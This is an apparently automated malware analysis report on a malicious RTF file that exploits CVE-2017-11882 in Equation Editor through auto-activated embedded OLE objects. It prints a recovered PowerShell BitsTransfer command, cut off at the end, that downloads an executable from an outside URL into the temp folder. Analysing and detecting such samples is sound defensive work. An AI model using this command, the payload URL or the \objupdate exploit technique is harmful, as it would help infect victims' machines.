RTF malware analysis — malicious · 4a029ce607f38aa2

MALICIOUS

RTF

221.9 KB First seen: 2019-12-10

MD5: 01a7d42686389671c1753ff75dcfe409 SHA-1: 79ad475d65075aedbac9ab26ff8fa7d50791bcce SHA-256: 4a029ce607f38aa27c1c92933f5e45b59f8f6e7d1cdfe89626489011fafde899

202 Risk Score

Malware Insights

MITRE ATT&CK

T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The RTF file contains embedded OLE object data and triggers ".objupdate" which indicates an attempt to activate the embedded object. Critical heuristics identify the CVE-2017-11882 exploit and suspicious extracted shellcode. The embedded URL "http://kilnrefractory.com/invoice.exe" is likely the location of a secondary payload.

Heuristics 6

CVE-2017-11882 — Equation Editor FONT record overflow critical CVE likely CVE_2017_11882

Equation Editor MTEF contains an overlong FONT typeface field, the vulnerable copy primitive for CVE-2017-11882. This is stronger evidence than the Equation Editor CLSID alone because it identifies the malformed record that drives code execution in EQNEDT32.EXE.
Suspicious extracted artifact critical EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
\objupdate forces OLE activation high RTF_OBJUPDATE

RTF contains \objupdate — forces automatic OLE object instantiation when the document is opened, bypassing user interaction. Almost exclusively seen in Equation Editor exploit documents.
OLE object data medium RTF_OBJDATA

RTF contains 2 \objdata section(s) — embedded OLE objects
Embedded OLE object medium RTF_OBJEMB

RTF contains \objemb — embedded OLE object
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://kilnrefractory.com/invoice.exe In RTF body

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`objdata_00_off000000c8.bin`	rtf-objdata-decoded	RTF \objdata at offset 0xC8	15911 bytes
SHA-256: `909914c47fe359f0f977ec219e9b4a5ffc877c90232b4f7ee680d7e3e729b05c`
Detection ClamAV: No threats found Obfuscation or payload: likely Static shellcode analysis recovered URL(s): http://kilnrefractory.com/invoice.exe Static shellcode analysis recovered command string(s): cmd.exe /c PowerShell "try{$oafICi=$env:temp+'\bsm.exe';Import-Module BitsTransfer;Start-BitsTransfer -Source 'http://kilnrefractory.com/invoice.exe' -Destination $oaf

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